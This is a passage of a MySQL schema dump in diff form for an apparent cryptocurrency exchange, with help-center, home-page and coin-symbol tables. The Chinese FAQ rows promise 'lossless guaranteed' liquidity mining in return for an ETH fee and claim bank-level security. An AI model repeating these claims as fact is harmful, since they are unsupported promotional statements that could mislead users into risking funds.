utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0), + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE, + INDEX `status`(`status`) USING BTREE, + INDEX `create_time`(`create_time`) USING BTREE, + INDEX `address`(`address`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1679077337070383151 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '币种兑换记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_help_center +-- ---------------------------- +DROP TABLE IF EXISTS `t_help_center`; +CREATE TABLE `t_help_center` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '标题', + `language` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '语言', + `enable` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '1=启用 2=禁用', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '0=正常 1=删除', + `create_time` datetime(0) NULL DEFAULT NULL, + `create_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `show_symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '帮助中心' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_help_center +-- ---------------------------- +INSERT INTO `t_help_center` VALUES (4, '1', 'en', '1', '1', '2023-08-22 15:21:34', 'admin', '2023-08-22 15:21:34', 'admin', NULL, NULL); +INSERT INTO `t_help_center` VALUES (5, '热门问题', 'zh', '1', '0', '2023-08-22 19:10:12', 'admin', '2023-08-22 19:11:44', 'admin', NULL, NULL); +INSERT INTO `t_help_center` VALUES (6, '新手必读', 'zh', '1', '0', '2023-08-22 19:46:37', 'admin', '2023-08-22 19:46:37', 'admin', NULL, NULL); + +-- ---------------------------- +-- Table structure for t_help_center_info +-- ---------------------------- +DROP TABLE IF EXISTS `t_help_center_info`; +CREATE TABLE `t_help_center_info` ( + `id` bigint(20) UNSIGNED ZEROFILL NOT NULL AUTO_INCREMENT, + `help_center_id` bigint(0) NULL DEFAULT NULL COMMENT '帮助中心主键id', + `question` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '标题', + `content` text CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL COMMENT '内容', + `language` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '语言', + `enable` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '1=启用 2=禁用', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '0=正常 1=删除', + `create_time` datetime(0) NULL DEFAULT NULL, + `create_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `show_symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 6 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '帮助中心问题详情' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_help_center_info +-- ---------------------------- +INSERT INTO `t_help_center_info` VALUES (00000000000000000001, 5, '如何加入流动性挖矿?', '

参与无损保障的流动性挖矿,需要支付ETH作为矿工费用,一个加密货币钱包地址只需要认领一次,成功后自动打开挖矿权限。

', 'zh', '1', '0', '2023-08-22 19:11:29', 'admin', '2023-08-22 19:11:29', 'admin', NULL, NULL); +INSERT INTO `t_help_center_info` VALUES (00000000000000000002, 5, '我要怎么取钱?', '

您可以将每天产生的币种转换为USDT,然后发起提现。USDT提现将自动发送到您添加到节点的钱包地址,不支持其他地址。

', 'zh', '1', '0', '2023-08-22 19:14:18', 'admin', '2023-08-22 19:14:18', 'admin', NULL, NULL); +INSERT INTO `t_help_center_info` VALUES (00000000000000000003, 5, '为什么提现不到账?', '

当您从 EX 提取数字资产到其他平台时,若提币未到账,通常由以下情况造成:


(1)区块未确认,提现无法正常到账。当您汇出后,这笔资金已经在区块中,需区块进行确认,区块确认时间不固定。如区块确认后仍然不到账,需联系对方平台进行核实。


(2)资产未汇出,提现无法正常到账。当您的资产未汇出会显示提现中或等待提现,是系统正在排队汇出,是由于提现人数较多造成的,系统会按照当前提现用户提交时间逐一汇出,人工无法干预,麻烦您耐心等待,给您带来不便请您谅解。


(3)提现无法正常到账。选择和汇入方地址一致的链或网络。


在提现的时候,一定要选择与充币平台相同的链和网络。例如您从

A平台提现到B平台,在A平台选择TRC链,在B平台选择ERC20的

链,那么您的币是无法到账的。

', 'zh', '1', '0', '2023-08-22 19:45:40', 'admin', '2023-08-22 19:45:40', 'admin', NULL, NULL); +INSERT INTO `t_help_center_info` VALUES (00000000000000000004, 6, '新手攻略', '

我们是全球领先的数字资产服务平台,拥有全球顶级专家组成的安全团队,可以为您的资产提供银行级的安全存储和保护。


首次使用平台的用户,可以通过此文快速学会交易比特币等数字资产,并初步了解EX金融理财产品。买卖数字资产整体分为二步:


第一步:交易前设置

1:下载

2:注册

3:身份认证

4:添加收款方式


第二步:买币/卖币

1:充值

2:资金划转

3:币币交易买币/卖币


1:下载APP


打开EX平台H5端,点击【下载图标】进入下载页面,然后选择下载通道,点击下载即可。


2:注册


点击右上角【头像】右下角【资产】或者其它功能进入登录界面,用户可以选择【用户名】【邮箱】或者【手机号】,按提示完成注册即可。


3:身份认证


为了给用户提供更好的平台交易体验,用户在完成注册,登录之后,点击主页右上角的【头像】,进入【侧边栏】页面,点击【身份认证】按提示完成身份认证即可。

4:绑定银行卡


用户在可以添加自己的银行卡

', 'zh', '1', '0', '2023-08-22 19:59:01', 'admin', '2023-08-22 20:02:45', 'admin', NULL, NULL); +INSERT INTO `t_help_center_info` VALUES (00000000000000000005, 6, '下载、注册', '

EX拥有全球顶级专家组成的安全团队,可以为您的资产提供银行

级的安全存储和保护。首次下载、注册EX平台,可以参照以下步

骤操作。


1:下载APP


打开EX平台H5端,点击【下载图标】进入下载页面,然后选择下载通道,点击下载即可。


2:注册


点击右上角【头像】右下角【资产】或者其它功能进入登录界面,用户可以选择【用户名】【邮箱】或者【手机号】,按提示完成注册即可。


', 'zh', '1', '0', '2023-08-22 20:05:34', 'admin', '2023-08-22 20:06:06', 'admin', NULL, NULL); + +-- ---------------------------- +-- Table structure for t_home_setter +-- ---------------------------- +DROP TABLE IF EXISTS `t_home_setter`; +CREATE TABLE `t_home_setter` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `title` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '标题', + `author` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NULL DEFAULT NULL COMMENT '作者', + `content` text CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NULL COMMENT '内容', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `img_url` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NULL DEFAULT NULL COMMENT '图片地址', + `sort` int(0) NOT NULL DEFAULT 0 COMMENT '排序', + `is_show` int(0) NOT NULL DEFAULT 0 COMMENT '是否展示 0展示 2不展示', + `language_name` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NULL DEFAULT NULL COMMENT '语言', + `likes_num` int(0) NULL DEFAULT 0 COMMENT '点赞数', + `home_type` int(0) NOT NULL DEFAULT 0 COMMENT '类型(0 首页文本 1 问题列表)', + `model_type` int(0) NULL DEFAULT NULL COMMENT '功能(0=首页 1=defi挖矿 2=助力贷)', + `search_value` varchar(1024) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb3 COLLATE = utf8mb3_general_ci COMMENT = '规则说明表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_kline_symbol +-- ---------------------------- +DROP TABLE IF EXISTS `t_kline_symbol`; +CREATE TABLE `t_kline_symbol` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `market` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所', + `symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种简称', + `slug` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种名称', + `status` tinyint(0) NULL DEFAULT NULL COMMENT '是否开启', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `logo` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户备注', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `create_time` datetime(0) NULL DEFAULT NULL, + `refer_market` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种交易所', + `refer_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种', + `proportion` decimal(20, 4) NULL DEFAULT NULL COMMENT '价格百分比', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1341 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '数据源' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_kline_symbol +-- ---------------------------- +INSERT INTO `t_kline_symbol` VALUES (184, 'binance', 'LINK', 'LINK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainlink.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (185, 'binance', 'COCOS', 'COCOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cocos-bcx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (186, 'binance', 'COTI', 'COTI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/593df91f663ae2ea67a25f1fe28f7b90.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (187, 'binance', 'KAVA', 'KAVA', NULL, NULL, 'http://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kava.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (188, 'binance', 'LEVER', 'LEVER', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (189, 'binance', 'LRC', 'LRC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loopring.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (190, 'binance', 'RAY', 'RAY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raydium.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (191, 'binance', 'LTC', 'LTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (192, 'binance', '1000PEPE', '1000PEPE', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (193, 'binance', 'DGB', 'DGB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digibyte.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (194, 'binance', 'ETH', 'ETH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (195, 'binance', 'BNB', 'BNB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (196, 'binance', 'SOL', 'SOL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (197, 'binance', 'EGLD', 'EGLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elrond-erd-2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (198, 'binance', 'ADA', 'ADA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cardano.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (199, 'binance', 'KNC', 'KNC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kyber-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (200, 'binance', 'BTCDOM', 'BTCDOM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitfinex-bitcoin-dominance-perps.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (201, 'binance', 'FTM', 'FTM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantom.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (202, 'binance', 'PERP', 'PERP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/perpetual-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (203, 'binance', 'DOGE', 'DOGE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (204, 'binance', 'BTC', 'BTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (205, 'binance', '1000LUNC', '1000LUNC', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (206, 'binance', 'BLZ', 'BLZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluzelle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (207, 'binance', 'NEAR', 'NEAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/near-iounear.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (208, 'binance', 'PHB', 'PHB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/red-pulse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (209, 'binance', 'DOT', 'DOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkadot-new.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (210, 'binance', 'ARPA', 'ARPA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arpa.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (211, 'binance', 'ANT', 'ANT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aragon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (212, 'binance', 'STMX', 'STMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storm.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (213, 'binance', 'CELR', 'CELR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celer-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (214, 'binance', 'TRX', 'TRX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (215, 'binance', 'ETC', 'ETC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-classic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (216, 'binance', '1000SHIB', '1000SHIB', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (217, 'binance', 'AVAX', 'AVAX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/avalanche.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (218, 'binance', 'ARKM', 'ARKM', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (219, 'binance', 'KSM', 'KSM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kusama.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (220, 'binance', 'MTL', 'MTL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metal.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (221, 'binance', 'XEM', 'XEM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nem.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (222, 'binance', 'FTT', 'FTT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ftx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (223, 'binance', 'AAVE', 'AAVE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aavenew.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (224, 'binance', 'GMX', 'GMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldmaxcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (225, 'binance', 'ID', 'ID', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/space-id.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (226, 'binance', '1INCH', '1INCH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1inch.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (227, 'binance', 'CTSI', 'CTSI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cartesi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (228, 'binance', 'TLM', 'TLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alien-worlds.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (229, 'binance', 'SNX', 'SNX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/havven.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (230, 'binance', 'GMT', 'GMT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/green-metaverse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (231, 'binance', 'KLAY', 'KLAY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/klaytn.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (232, 'binance', 'BAL', 'BAL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/balancer.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (233, 'binance', 'SFP', 'SFP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safepal.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (234, 'binance', 'GTC', 'GTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (235, 'binance', 'AGIX', 'AGIX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singularitynet-x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (236, 'binance', 'ZEN', 'ZEN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zencash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (237, 'binance', 'REEF', 'REEF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reef-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (238, 'binance', 'BEL', 'BEL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bella-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (239, 'binance', 'DYDX', 'DYDX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dydx.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (240, 'binance', 'GALA', 'GALA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gala.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (241, 'binance', 'LQTY', 'LQTY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (242, 'binance', 'ANC', 'ANC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anchor-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (243, 'binance', 'IOST', 'IOST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iostoken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (244, 'binance', 'NKN', 'NKN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nkn.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (245, 'binance', 'AMB', 'AMB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amber.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (246, 'binance', 'STG', 'STG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stargate-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (247, 'binance', 'BNX', 'BNX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/benex.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (248, 'binance', 'AGLD', 'AGLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adventure-gold.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (249, 'binance', 'TRU', 'TRU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truefi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (250, 'binance', 'HBAR', 'HBAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedera-hashgraphiou.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (251, 'binance', 'RDNT', 'RDNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radiant-capital.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (252, 'binance', 'APT', 'APT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aptos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (253, 'binance', 'STX', 'STX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockstack.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (254, 'binance', 'IDEX', 'IDEX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (255, 'binance', 'DAR', 'DAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mines-of-dalarnia.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (256, 'binance', 'RAD', 'RAD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radicle.png', NULL, NULL, NULL, NULL, NULL, NULL, 